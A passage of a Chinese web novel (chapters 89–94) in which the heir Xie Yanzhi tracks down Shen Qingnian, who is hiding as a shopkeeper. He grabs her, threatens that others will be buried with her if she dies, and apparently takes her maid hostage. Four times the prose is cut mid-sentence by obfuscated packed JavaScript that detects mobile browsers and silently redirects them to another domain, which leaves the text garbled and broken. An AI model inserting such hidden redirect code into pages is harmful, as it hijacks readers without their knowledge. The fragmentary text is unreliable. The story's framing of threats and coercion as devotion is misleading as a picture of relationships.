从前那条香珠他没有藏好,现在这条他定要牢牢捆住。 “方娘子,不知这些够不够?” 沈清念看着他手里递过来的银子,根本伸不出手来。 两人就这样,一个伸手,一个不接。 陈江源在一旁看着,有些着急,他上前就将谢宴之手里的银子拿过来,塞进了沈清念的手心里。 “方娘子,银钱收好!” 陈江源也觉着方娘子今日有些不对劲,平日里方她收几个铜板,都很开心。 今日见着银子了,不仅不开心,整个人看起来还有些紧张不安。 沈清念不想再与谢宴之纠缠,只道:“多谢世子。” 陈江源听沈清念这样说,才放心下来。 但又听沈清念说道:“我们的铺子要打烊了。” 陈江源心知,方娘子的言下之意就是让他们快些离开。 他还从没见过方娘子主动赶人呢。 “时辰还早,方娘子是有什么事吗?”陈江源试着问了一句。 “是我妹妹听说梧桐大街来了个杂耍班,她想去看看。” 沈清念说着,便看向菱儿。 菱儿点点头,小姐本就说了今日早点打烊,带她去看杂耍的。 只是,小姐这样明目张胆地赶大公子,会不会惹怒他? 菱儿小心地看了眼谢宴之,发现大公子脸上没有一丝怒意,也没有像从前那样蹙眉。 她也想不明白,大公子怎么与从前不一样了。 方才大公子还跟着陈公子一起,叫小姐方娘子。大公子是不想戳穿小姐吗? 原本听小姐说大公子来了,她还在害怕。 现在看来,大公子好像不像从前那样易动怒了。 陈江源不知如何说时,谢宴之先开了口:“无妨,既已买到了心仪的香珠,我便先回去了。” 说完,谢宴之就往门外走去。 陈江源看了一眼门外,对沈清念道:“方娘子,我先去送送世子。” 他父亲让他务必要好好陪世子赏云城,世子又是这样的年少有为。 他不敢怠慢,便追着谢宴之出去了。 等那二人走后,沈清念终于支撑不住,跌坐在地上。 菱儿见了,连忙过来扶住她,有些着急道:“小姐,你怎么了?” “是因为大公子吗?我瞧着大公子好像变了许多,不再像从前那样坏了。” 沈清念心底冷嗤,一股苦涩泛上心头。 谢宴之离开的时候,回头看了她一眼,对着她蓦然一笑,仿佛在说她根本逃不掉。 第八十九章 不知方娘子何故要轻薄于我? 陈江源追出了铺子,来到马车边上,双手拱礼:“世子,慢走。” 谢宴之掀开车帘一角,微微颔首,余光瞥了一眼铺子里那跌坐在地上的身影,薄唇轻抿。 随后,放下帘子让人驾着马车离开了。 陈江源又折返回铺子里,见沈清念脸色有些发白,关心道:“方娘子,你可是有什么不适之处,脸色怎么这样差?” 菱儿此时已将沈清念扶到了凳子上坐着。 沈清念摇了摇头,心中酸楚不敢言说,只苦涩地挤出一个笑容:“我没事,多谢陈公子关心。” “许是揉香团有些累了。” 菱儿走了过来,将手放在自己小姐的肩上,眼里满是关切。 心里忍不住埋怨:每次大公子来,小姐都会被吓到。 而沈清念此刻心中很是不安。 谢宴之明明是想要责罚她的,却还要装作若无其事的样子,更加让她心中生寒。 比起谢宴之的笑,她更愿意他直接向她发火。 好过这样温水煮蛙,让她整个人如一刀一刀被人凌迟一般。 他越平静,她越害怕。 想到谢宴之那漆黑如墨的眸子里,带着暴风雨来临之前那样黑压压的气势。 她就觉得压迫感袭面而来,让人喘不过气来。 她心里翻涌的情绪不好言说,也不想菱儿担心。 她拍了拍菱儿的手背,又用温柔的眼神看向她,示意她自己没事。 菱儿这才稍稍放心下来。 她转身看到陈江源还站在铺子里,有些好奇:“陈公子还不回府么?” 她以为陈江源已经和大公子一道走了。 陈江源低头笑了笑,有些腼腆道:“听说那是湘西来的杂耍班子,我还没看过。” “不知可否与你们一道去看看?”说着,瞥了一眼沈清念。 “那太好了!”菱儿有些开心,她们原本要走路去,陈江源要去的话,就可以坐他的马车去了。 看菱儿兴奋的模样,沈清念也不好拒绝,神情淡淡道:“那我们便一道去吧。” 陈江源见沈清念同意了,十分开心:“方娘子,那我们便走吧。” “嗯。”菱儿扶了沈清念出来,又将铺子上锁,这才和陈江源一道坐车去了梧桐大街。 陈江源见沈清念坐在边上,微风吹起她的一缕发丝,轻轻柔柔地扫过那小巧的鼻尖,好像扫进了他的心底。 其实他与方娘子相识不过半月,他也说不上来对方娘子是什么样的情愫。 反正他见着她,心里总是欢喜的。 因着这个杂耍班,梧桐街口的人已经围得里三层外三层了,陈江源只好将马车停在了巷子口,三人走了一小段路过来。 看杂耍的人群时不时发出阵阵喝彩声:“好!好!” 掌声也是此起彼伏,可见那杂耍有多精彩了。 陈江源用身子撑开了开两边的人群,让沈清念和菱儿挤了进去。 他自己则被挤到了另外一边,而菱儿则在沈清念的右边。 这时,只见一个身穿白褂,头戴红色包巾的中年男子在中间向人群拱礼:“各位贵客,下面的是小四喜的绝技——上刀山!” 说完,就有几人抬出一根木架立在场中,那木架上绑着十把半米长的大刀。 刀刃向上绑着,冒着寒光,一看就极其锋利。 那名叫小四喜的孩子用红绸绑着两个揪,眉心缀着一点红,看起来不过**岁的样子。 只见他走到架子前,脱去了鞋袜,放在一边。 回头看了一眼班主后,深吸了一口气,咬着牙踩上了刀刃。 “小姐!”菱儿看着小四喜那样,心里有些担心。 沈清念同样皱着眉,担心他受伤。 见小四喜的脚并没有被刀割伤,众人纷纷拍手叫好。 沈清念悬着的心才放了下来,目不转睛地看着他。 小四喜踩到最后一梯时,众人纷纷更是屏住了呼吸,充满期待地看着他。 因为最后那把刀更小更锋利。 在众人的惊呼声中,小四喜一不留神,脚从刀面上的脚滑了下来。 他赶紧用手抓住刀刃,整个人悬在了空中。 众人中有人发出了尖叫声,菱儿更是吓得捂住了眼睛。 “嘶”底下的人又发出声音来,小四喜的手掌已经被刀划出了血。 沈清念的心揪成一团,她紧紧握住了菱儿的手。 她看着小四喜哆哆嗦嗦的模样,心中越发难受,握着的手更紧了。 耳边忽然传来一个冷冽的声音:“方娘子是想废了本世子的手吗?” “再不松开,那孩子就要掉下来了。” 谢宴之在她耳边轻轻说道。 沈清念心下一跳,低头一看,见自己正与一双骨骼分明的大手十指相扣,她吓得急忙甩开。 此刻,她只觉着自己的手似触了电一般,微微发抖。 菱儿刚刚就在她身边,她怎么就握住了谢宴之的手? 到底是怎么回事? 在沈清念愣神之际,谢宴之用脚点地,一个飞身,赶在陈江源之前,将小四喜从架子上救了下来。 而沈清念回头才发现,菱儿不知何时已被挤到一边,她的手正抓着另外一个姑娘的手。 陈江源见谢宴之忽然出现救人,颇有些意外。 谢世子刚刚不是回去了吗?怎么也来看杂耍了? 但眼下也顾不得思考太多,他快步走上前去拱礼:“世子。” 谢宴之将小四喜放下,班主赶紧过来道了谢,带着他下去包扎了。 谢宴之瞥了沈清念一眼,见她满脸的惊慌,他的眼蒙上了一些阴霾。 从沈清念他们离开铺子,谢宴之就让马车跟在后面。 又见陈江源体贴地帮沈清念开路,心下不痛快。 眼看陈江源不在边上,他想知道沈清念见到他是什么反应,会不会与他相认? 这样想着,他便趁乱将菱儿挤到了一边。 他也没想到沈清念突然握住了他的手,他便顺势与那柔软的玉手十指相扣。 可她现在那是什么神情?当他是什么洪水猛兽? 他冷哼一声,踱步来到沈清念面前,揉了揉手。 陈江源见状,不禁有些疑惑。 难道世子刚救人的时候,手被刀刃划伤了?但他看着世子的手又没有一丝伤口。 陈江源关切道:“世子的手怎么了?” 谢宴之看了眼沈清念,悠悠道:“没事,只是刚刚被方娘子抓疼了。” 沈清念听这话,花容失色。 又见谢宴之皱着眉,有些不悦道:“不知方娘子何故要轻薄于我?” 沈清念听了这话,脸一阵白一阵红。 她心里气急,什么叫轻薄他? 她又瞪了谢宴之一眼,没想到他还是一如既往的无耻! “我……”刚开口,沈清念就打住了。 她确实没有轻薄他,但她又的确握住了他的手。 沈清念一时也不知该如何说。 谢宴之见她还是这样倔强,又蹙着眉:“难道方娘子未曾握住本世子的手?” 沈清念看着他故意刁难她的样子,深深吸了一口气:“我是握住了世子的手,但我以为那是菱儿的手。” “我并非有意这样!” 陈江源见谢宴之已然不悦,他虽不知沈清念为何会抓住谢宴之的手,但看方娘子那发白的脸,应当是一场误会。 于是他对着谢宴之说道:“世子,方娘子应是方才太过紧张,才会误将世子的手握住。” 他又转过身去,嘴角含笑,用眼神安慰沈清念,叫她安心。 他这几日与谢宴之相处下来,觉着谢世子是不会为这种小事与方娘子计较的。 谢宴之却面露不满,眼睛盯着沈清念:“方娘子,这就是你赔罪的态度?” 沈清念气红了脸,只觉心中憋了一口气,偏还不能发作。 她抬起头望着谢宴之,眼里满含幽怨:“那世子想要我如何赔罪?” 陈江源见沈清念眼尾似有些红,看起来极委屈。 谢世子素来洒脱,今日怎的就要与一个女子过意不去? 陈江源:“世子……” 谢宴之见面前的人一副委屈至极又不愿屈服,眼眶里蓄满了泪的模样。 他心里冷嗤一声。 她还委屈上了,他不是应该比她更委屈吗? 他真心想纳她为妾,与她厮守。 结果当他满心期盼赶回来,因为怕她受累,一回府什么都不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312952|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要给她揭盖头。 她倒好,竟一早就谋算着要走,害他颜面尽失。 既然她这么不乖,那就不能怪他了。 谢宴之看了一眼陈江源,冷冷开口:“看在陈公子的面上,方娘子请我喝盏茶便是。” 听到这话,陈江源放下心来。 他想得没错,谢世子果然不会为难方娘子。 眼下,也确实到了饮茶用饭的时候了。 陈江源对着谢宴之和沈清念道:“不若就由我来带路,我对这云州很是熟悉。” 陈江源见谢宴之没有说话,只瞥了一眼沈清念。 言下之意很明显,他同意,就看方娘子愿不愿意了。 沈清念咬着唇:“好,那便有劳陈公子带我们去。” 她心里庆幸,还好有陈公子陪着一起,她是真的不想独自面对谢宴之。 谢宴之跨步走向马车,却听陈江源喊了一句:“方娘子!” 沈清念指着杂耍班:“我去去就来。” 陈江源朝她笑了笑,心领神会。 她是要去找那个孩子。 菱儿跟着沈清念去到杂耍班临时搭的小棚子里。 一进去,就见小四喜疼得满头大汗,却死死咬着嘴唇,尽量不发出声音。 班主正将黄亮亮的酒浇在他的手掌上。 沈清念掏出银子递了过去:“班主,给小四喜请个大夫看看伤吧。” 她看见伤口很深,只用酒肯定好不了。 班主没想到还有人来关心他们,感激得就要拉着小四喜给沈清念下跪,被沈清念扶了起来,沈清念摸了摸小四喜的头,转身走了出去。 谢宴之在马车旁转着手上的扳指,见沈清念出来,他眸光微寒。 沈清念为了那闲人,将他晾在一旁让他等,还真是不将他放在眼里呀。 陈江源见沈清念出来,忙为她掀起了车帘:“方娘子,请。” 沈清念轻轻点头,和菱儿一起上了陈江源的马车。 一个眼神都没有给到谢宴之。 谢宴之见状,嘴角微扬,转身上了马车。 他看了眼身旁的软垫,那是他特意为她准备的。 可惜有些人就是不识好歹。 他整理了一下衣袍正襟危坐,闭上眼睛养神。 面上看似毫无波澜,只有谢宴之自己知道,他的心里风雨欲来,有一个声音在说:“沈清念,咱们来日方长。” 陈江源很快带着他们到了云州城最好的酒楼。 掌柜的一见到陈江源,立刻跑过来献殷勤:“陈少爷,您来啦。” 陈江源负着手,笑着道:“要最好的包厢。” “好嘞。”掌柜笑吟吟地将这几位贵客往楼上引。 推开门,沈清念见这包厢很大,最边上有几扇镂空雕花窗,中间一方金丝楠木的屏风掩映其中。 她径直走了进去,选了一个靠窗的位置直接坐下。 陈江源见状就知沈清念还在气头上,对着谢宴之道:“世子莫怪,方娘子就是不拘小节之人。” 谢宴之轻蔑一笑,眼神里有些意味分明。 这样很好,她终于不再无视他。 她也终于因为他有了情绪,也不掩藏情绪了。 “无妨,方娘子真性情!”说着,又看了沈清念一眼,坐到了她对面。 “陈兄!”门外一月白色长袍的男子见到陈江源,高兴地喊了一声。 “时延兄!”陈江源关上门,与那男子在门外寒暄一会儿。 沈清念望着外面,全然不知屋子里只剩下她和谢宴之。 见她望得出神,谢宴之伸出手朝她的脸伸了过去。 沈清念一下躲到了一边,满眼防备地看着他。 谢宴之摘下了沈清念发丝上的一缕飞絮,拿在手里捻了捻, 嘴角微扬,饱含侵略的眸子看向她:“方娘子不必紧张,只是飞絮。” 说着,吹走了手上的飞絮,又笑着道:“方娘子似乎有些怕我?” 沈清念方才确实是被吓到了,她以为谢宴之又要像从前一样,对她动手动脚的。 见他现在这副皮笑肉不笑的模样,沈清念终于憋不住火气:“谢宴之,你到底想怎么样?” 谢宴之拾起茶盏,小啜一口:“怎么,不再装作不认识了?” 第九十章 方娘子不会介意吧 沈清念咬着唇,一脸幽怨地看着他。 谢宴之却是嘴角含笑,一副看她出糗的样子,颇有些有些幸灾乐祸的意味。 沈清念恨极了他这副捉弄人的样子。她知道,他总会因为这件事来惩罚她的,他们之间迟早要有个了断。 既然躲也躲不过,索性就将话说开,看谢宴之能将她怎么样! 最终,沈清念看了一眼门外,还是缓缓开了口:“我知道,当初离开是我不对!” 谢宴之仍是没有说话,只是轻笑着看向她,脸上没有什么表情,看不出喜怒,却莫名让她后背发寒。 见谢宴之还不说话,又觉得自己没说清楚,沈清念又补了一句:“我是说我不该不告而别。” 对,她是不应该不告而别,而不是不该离开他。 谢宴之仍是慢慢悠悠,甚至将茶盏推到沈清念面前,用手示意她喝茶,也示意她继续说下去。 见状,沈清念的心越跳越快,伸手握住了茶盏,眼睛却瞥了一眼谢宴之,不禁有些疑惑。 谢宴之是怎么回事?他不是应该大发雷霆,冲她狠狠发火吗? “继续说。”谢宴之终于开口,一手托腮,一手敲着桌面,眼睛还是不离开她分毫。 沈清念终于得到了回应,她七上八下的心现下才稍微稳住了一些。 也许接下来的话会惹怒他,但她今日豁出去了,再也不想与他虚与逶迤。 她必须要让谢宴之知晓,她一点都不喜欢他,让他莫要再强求了。 大不了,惹怒了他,他杀了她就是了。 “世子,我离开是因为我并不心悦你。”说完,沈清念轻轻吐出了一口气,低着头,不再说话。 要说的她已经跟谢宴之说清楚了,现在就等着他的反应。 谢宴之的目光变得冷硬起来,敲击桌面的手指也悬了空。 沈清念在说什么? 谢宴之回想了一下,沈清念确实从未说过心悦他。从前,倒总是他处处表现得爱慕她得很。 总是想着她,念着她,忍不住亲近她。 他又看到她微微绻起的手指。是了,她好像总是在怕他! 谢宴之嘴角含笑,眼里却没有一丝笑意:“所以,从前都是本世子错付了?” 沈清念还是沉默。 她说得还不够清楚吗?为何还要问出来自取其辱? 那不叫错付,那叫自作多情! 见状,谢宴之还有什么不明白的。 原本听到她说不该离开的时候,心下还是满意她的认错的态度的。 可她再一说,就变成了他死乞白赖地缠着她,给她献殷勤。 不过他自问对沈清念不薄,为何就是换不了她的一丁点儿喜欢? “可本世子抱过你,亲过你,甚至……难道不该给你个名分?” 沈清念蹙着眉:“我并不需要世子给我名分。” 谢宴之看她面色有些不耐,嘴角微微上翘,眼里却布满寒霜。 他第一次上赶着给人名分,那人还一个劲儿地说不要。 这不就是说他是在自作多情吗? 再看她一脸坚定的神情,显然是对他给她的喜爱没有半分留恋,甚至让她不惜带着丫鬟连夜逃走也要躲开他。 他却还一直追着她,要将人带回去。 谢宴之觉着沈清念这样做,无异于是在告诉他,他堂堂世子,如今就是一块狗皮膏药! 想到这儿,他心中已经腾起怒意。 “真不需要?”谢宴之脸色骤变,眸子都染上了怒意。 沈清念脖颈挺直:“是,我只求世子放过我,早日觅得良缘。” 她是万万不要跟他回去做妾的,那样与**又有何不同? “既然你不需要,本世子就不勉强了。” 谢宴之的手捏紧了茶盏,脸色却平静如常。 听到这话,沈清念有些不敢相信自己的耳朵。 谢宴之就这样轻易饶过她了?她盯着他的眼睛看了很久,却只是看到他毫无波澜的眼眸,未能从中找出一丝端倪。 可她为何还有些紧张不安。 沈清念正出着神,谢宴之朝她的茶盏伸过手去。 沈清念吓得连忙收回了握住茶盏的手。 谢宴之见状,脸上的笑容更深了。他拿过茶盏,往里添了一些茶水,又递到沈清念面前:“只是为方娘子添些茶水而已。” 他都已经说了放过她了,她还是这么怕他? 谢宴之嘴角含笑,她还是他喜欢的那样,像一只受到惊吓的兔子般可爱。 沈清念看着面前推过来的茶盏,脸色微红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢宴之轻嗤一声,坐了回去,目光悠悠地盯着她开口道:“我只是看方娘子闭着眼睛,连我上来了都不曾理会,就想看看方娘子是否晕厥而已。” 沈清念见谢宴之坐了过去,心里松了一松,或许她不该像从前那样想他了。 他说了会放过她的! 她略微犹豫了一下,坐直了身体道:“多谢世子关心。只是世子怎么会来陈公子的马车?” 谢宴之笑了笑,掀起帘子看了看外面陈江源的背影:“本世子的马车车辙坏了,陈公子邀我坐他的马车,盛情难却,只好过来了。” 他又放下帘子,转过身来目光灼灼地看向沈清念:“方娘子不会介意与我同乘吧?” 第九十一章 可你现在是方娘子呀! 沈清念见他端坐回去,没有再逾矩,心里也慢慢平复下来。 此时,陈江源立在马车前说道:“世子,车辙修不了只能换掉,我已派人去拿一根新的来。” “您先坐我的马车回去吧。” 沈清念见状,也对着谢宴之道:“那我先下去,世子慢走。” 她仍是不愿与谢宴之单独在一起。 既然他们已经将话都说开,那就不要再见面,再有什么牵扯了。 谢宴之瞧了一眼沈清念,见她正提了裙摆要下去。 一副对他避之不及的样子,心中明了,她恐怕是不想再与他有瓜葛了。 他心里不禁冷嗤,倒是个狠心肠的。 当初得知她走了,他满腔怒火,恨不得抓她回来狠狠责罚。 但他在通州找了几天也不见她的踪影时,又担心她出事,心中怒火已然平息,只要她平安,他便饶过她,不会责罚她。 最后,得知她在云州时,他心里竟然有一丝庆幸。 等到了云州,不惜暴露身份让陈刺史巴结,借来人手经过一番上天入地的搜寻后,终于看到她的身影出现在铺子里。 那种失而复得的感觉叫他生生忍住出现在她面前的冲动,怕将她给吓坏。 可她现在却要和他撇清关系,没有他的允许,怎么可能呢。 几乎是不容抗拒的,谢宴之一把抓住了沈清念的手腕。 沈清念试着挣扎了两下,想要抽回自己的手。谢宴之却无视她的挣扎,依旧紧紧抓住那手腕。 沈清念的脸上露出惊恐的神色,身体也忍不住颤抖起来。 怕陈江源听见,沈清念忍住声音里的颤抖,轻声问了一句:“世子这是做什么?世子刚刚还说过不再勉强我的。” “是。” 谢宴之在看到沈清念脸上的惊恐时,轻笑出了声。 他说不再勉强,她就信了?他为她轻易就相信他的话感到好笑。 谢宴之轻笑着想着,既然他一开始就决定不会对沈清念放手,他又何必再压抑住自己的本性。 他就是要强迫她! 从前他不知情为何物,却因沈清念的出现,不知不觉动了情,根本无法控制自己的内心的情意。 只知一味宠着她,顺着她,凡事都温和地待她,忘记了自己本来是什么样的人,也叫她不知珍惜他的真心。 骗他,躲他,无视他! 如今沈清念这些无情的话语倒叫他清醒了几分。 既然他无法放下她,那就叫她真正看清楚,他靖南侯府世子原本是什么样的! 他的偏爱,不是人人都可以得到的。 既然她已经得到了,就只能和他的心一起留下来陪着他了。 再者,温柔的方式不行,那他就强势一些,他不信降服不了她! 他谢宴之想要的东西还从来没有得不到的! “那你还……”沈清念愈发挣扎起来,想甩开那只大手。 只是她越挣扎,谢宴之抓她的手就越用力。 “沈清念,你我相识一场,就再陪我坐一次马车。往后你我再无瓜葛,如何?” 沈清念停止了挣扎,看着谢宴之一副不同意,就不放手的样子,无奈地点点头,转身坐了回去。 谢宴之原本抓在她手臂上的手,此刻已将她的手牢牢地握住,惹得她浑身不自在。 她看着谢宴之有些森然的目光,尽管心里十分想要缩回自己的手,却又不敢动弹,生怕激怒谢宴之,又要对她动手动脚。 谢宴之见沈清念老实地坐下,心里满意了些,隔着帘子对着车外道:“那就多谢陈公子了,我先送方娘子回去。” 陈江源原本是想叫沈清念下来和他一起等马车换好车辙的,这样他又多了些和她相处的时间。 如今,世子却说要送方娘子回去,可方娘子是那样地害怕世子。 他不免有些担心起来,又试着问道:“方娘子,那就让世子让你回去?” 沈清念用另一只手掀开了一角帘子,努力使自己看起来一切如常,对着外面的陈江源微微一笑:“那就劳烦世子了,陈公子等马车修好后,也早些回去吧。” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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沈清念目光错愕地看向谢宴之,不敢相信自己耳朵听到的。 谢宴之这话是什么意思?他又在戏耍她。 沈清念觉得自己全身的力气一下子就耗尽了,只能瘫坐在软垫上。 谢宴之看着她这失魂落魄的样子,脸上又带了几分笑意,慢慢地开口说着:“不管你是沈清念还是什么方娘子,你都只能是我的。” 说着,便向沈清念缓缓靠了过去。 从前他就表明过自己的心意,只是沈清念一直没有将他的话听进耳朵,装进心里而已。 他现在只想将她拥进怀里,让她好好感受他的心。 沈清念看到谢宴之一寸一寸地向她靠近,她猛地往后退,直直撞在车壁上。 谢宴之轻笑一声:“躲什么?”更加向着沈清念逼近了去。 肩上传来的痛楚都让她来不及顾及,伸出手推着谢宴之,阻止他的靠近。 “你为什么就是不肯放过我?”沈清念带着哭腔。 谢宴之像山一样压迫而来,沈清念抵挡得很是吃力,却也不见他后退分毫。 看着面前人如此抗拒着他,谢宴之有一瞬地怔住了。 明明她是那么不愿,为什么他不能放过她? 或许,是初见她时,那惊为天人的容颜。 又或许是因为她是第一个跟他有肌肤之亲的人,让他有了强烈的占有欲。 或者,是她身上总有他熟悉的香气。 **具体是什么原因,但他清楚地知道一点。 那就是他不见不得她和别的男人言笑晏晏。 谢宴之直直盯着她,开口道:“安心跟我回去。” “对你逃走的事,我可以既往不咎。” 沈清念的心猛地跳了一下,声音也有些颤抖起来:“我是不会和你回去的。” 谢宴之眉头一皱,显然对沈清念的回答很不满意。 他一使劲,直接抓住了沈清念的双手,握在了手里。 他不喜欢她一直抵抗着他。 眼看着谢宴之的脸靠了过来,沈清念将头偏向一侧。 谢宴之身上的气息让她觉得羞耻又恐惧。 “别碰我!”沈清念用尽了力,挣扎了一把,想将手从谢宴之的掌中挣脱出来。 听到沈清念这样说,谢宴之不怒反笑,用力攥紧了那双光滑细腻的玉手。 又盯着那饱满的唇瓣滚了滚喉头。 “怕什么?没碰过?” 沈清念听着这话,再看着他那无赖一般的模样,气得脸红了一大片。 他是怎么好意思将那些话轻飘飘说出来的? “谢宴之……你无耻!”几个字从她嘴里咬牙说出。 说完以后,沈清念的心跳得极快。 若是从前,在靖南侯府里,她是万万不敢在他面前说这些话的。 现在看来,谢宴之显然对自己之前的无耻行径没有一点清楚的认知,那她就必须告诉他! 如论如何,都要让他知道她心里有多讨厌他!多厌恶他! 谢宴之微微一怔,原来在沈清念眼里,他这个玉树兰芝的世子,竟然是个无耻的人。 他从前对她的那些亲近,竟也是在轻薄与人。 谢宴之气笑了,她竟然一点也没有从他们之前的那些亲近,感受到他汹涌的爱意。 这世上又有几个人能让他没了世子的尊严,追着亲近她? 谢宴之的眸子里闪出寒光:“你知道你在说什么吗?” 看着面前这个神色倔强的女人,他又冷幽幽开口:“要怪,便怪你自己故意来招惹我。” 沈清念的眸子里再次氤氲着水雾,不知如何辩解。 为何在他心里,她是在招惹他? 谢宴之又说道:“你将我从一个清风霁月的世子,变成一个无耻的人,那你也只好留下,慢慢赎罪了。” “你这是要逼死我。”沈清念说着话,眼里透着决绝。 沈清念的话落在谢宴之的耳朵里,没有让他有一丝诧异。 毕竟她都逃过一次了,还有什么是她不敢的? 不过,沈清念有她的办法逃避他,谢宴之也有他办法来应对。 他又轻笑着凑到了沈清念的耳边,轻轻开口道:“若是你敢死,你想知道我会做出什么事来吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312955|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢宴之的话,在沈清念的耳朵边炸开。 “你敢死,我就让旁的人给你陪葬。”谢宴之又是幽幽一句,手上拿出一截红头绳把玩起来。 沈清念的瞳孔睁圆,她才反应过来,从刚刚在包厢里用饭开始,她就没有再见过菱儿了。 “你,你把菱儿怎么了?” 谢宴之轻笑,“现在知道怕了?” 他伸手,挑起她的一缕发丝,又轻轻吹开,颇为惬意。 沈清念的脸上挂着泪,可她却再也哭不出来了。 她今天才发现,谢宴之就是一个疯子。她还妄想与他说清楚,他或许会放了她。 谢宴之当然也知道沈清念接受不了这种强硬的方式。 他原本也不想用这些卑鄙的手段。 看着她泪眼婆娑,委屈抽噎的模样,他心里也不好受。 可沈清念偏要说出那么绝情的话,当他是铁做的心,毫无感觉吗? 要是换了旁人,敢在他面前这样放肆,他早将**卸八块了! 他今日就是要告诉她,不许逃,不许死,更不许离开他。 就算她不心悦他,也不许! “行了。莫再哭了。” 谢宴之从衣袖里掏出一张巾子,伸过手去要替她擦眼泪。 沈清念伸手打掉了他的手,抽噎起来。 谢宴之的脸沉了下来:“从前怎么不知你的脾气这般大!” 说着,一把搂过沈清念的肩,让她面对着他。 沈清念在他的两手之间剧烈挣扎起来,小手成拳一下下捶在谢宴之的胸口。 “打吧,打吧。”谢宴之也不躲闪,任她发泄。 若是她能乖些,他也不至于这样吓唬她。 总要让她宣泄掉那些压抑的情绪才会好起来。 等她的眼泪都流干了,就不会再哭了。 沈清念一下下砸上去,手砸得生疼,眼中的泪流得更加凶猛。 她喃喃道:“你为什么要逼我?” “为何要逼我?” 谢宴之见她砸累了,轻轻将人圈在怀里,大手轻抚着她的乌发,声音里充满柔情:“我只逼你一人。” 第九十四章 这珠子,哪有做香珠的人好? 小院儿里。 沈清念躺在床上辗转难眠,只想着天一亮,谢宴之便会坐船离开云州,她的心就欣喜得难以平静。 只要谢宴之走了,他们二人便从此天宽海阔,再也没有交集。 就这样,带着隐隐的期盼,天将亮时,她才堪堪入眠。 第二日一早,沈清念就被一阵拍门声惊醒。 有人在铺子前喊着:“快开门!快开门!” 菱儿见沈清念眼下乌青,就知道小姐昨夜又没睡好。 她走过去,为沈清念拢了拢被子,让她再躺一会儿。 她自己先出去开门看看是何人。 菱儿刚取下挡门的木板,就见外面站着一满头珠翠的贵妇人,身边还跟着丫鬟和小厮。 菱儿有些不解,她们来云州半月,未曾见过此人。 见菱儿彻底将门板拿开,那贵妇人就带着人走了进来。 “不知夫人有何事?” 旁边的丫鬟拿出一个锦盒道:“给我们退钱,这条香珠我们不要了!” 菱儿接过来,打开盒子,见那香珠有些脏了。 “夫人,这香珠上已经脏了,不能退了。” 何况,她们的香珠从来不退换的。 只是见这夫人看着矜贵,菱儿也不想惹事罢了。 “你说什么?谁见着都要称呼一声吴夫人的!” 菱儿心道这是搬出身份来仗势欺人来了? 小姐说过,做生意和气生财,不惹事,也不要怕事。 菱儿又说道:“这香珠的收回来,我们也再卖不出去了。您……” 话还没说完,那丫鬟就给了菱儿一耳光:“你好大的胆子,县令夫人” “睁大你的狗眼看清楚,这时我们县令夫人。” 那丫鬟又冷不防推了菱儿一把,菱儿一时不察,往边上倒去,将那县令夫人撞倒在地。 “夫人!”那贵夫人捂着被撞的肚子,面露痛苦之色。 一旁的丫鬟赶紧过去将那夫人扶了起来,嘴里道:“我们夫人还怀有身孕,你竟敢撞上去。” 说着,就招呼旁边的小厮将菱儿抓了起来。 沈清念听到外面的嘈杂声,掀开帘子走了过来。 就见两个小厮正按着菱儿的肩膀,一副要将人扭送走的架势。 而旁边的夫人捂着肚子,眉宇间有些怒意。 沈清念快步走上前,挡在菱儿身前:“这位夫人,不知我家妹妹何处冲撞了您?” 那夫人看着沈清念那张容颜绝美的脸,心里也明白了几分。 看来这就是那贵人要的人了。 她昨日听闻那贵人喜欢香珠,便来这苏氏香珠铺买了一串。 本打算送给贵人替她夫君铺铺路,结果今日她夫君拿着香珠去见贵人,却惹得贵人不悦,将她夫君关了起来。 还好,有人给她想了个法子,这法子的关键就是这掌柜娘子了。 她看着沈清念落落大方的模样,心里也不免有些可惜。 看着是个有风骨的姑娘,可惜了,被一张好看的脸给拖累了。 一旁的丫鬟气势汹汹道:“这个小丫头撞到我家夫人的肚子了,正要带她去受罚!” 菱儿急得眼泪都要逼出来了:“小姐,是她先动手打我,我才还手的,不知怎的就撞到了这位夫人。” 听到这儿,沈清念眉头一皱,不管是谁先动的手,菱儿推倒了这位夫人是事实。 为今之计,只能赔罪。 她想了想道:“小丫头不懂事,我替她向您赔罪。” “这样,我将这香珠的银钱悉数奉还,再补十两银子,您看如何。” 那夫人看了那丫鬟一眼。 那丫鬟便撇了撇嘴,翻了一个白眼道:“谁要你的钱,我们夫人金尊玉贵,十两银子打发叫花子吗?” 那夫人又开口道:“想不到一个铺子里的小小丫头,竟如此刁钻,目中无人。” 沈清念越听越不对劲。 菱儿何时目中无人了?本就是她们不对,这下又要诬赖菱儿。 她有些怀疑这夫人是不是来找事儿的。 可她与这夫人并不相识,哪里惹了她不快了? 沈清念还未来得及再说上什么,那夫人已经命人将菱儿押了出去。 “菱儿!” 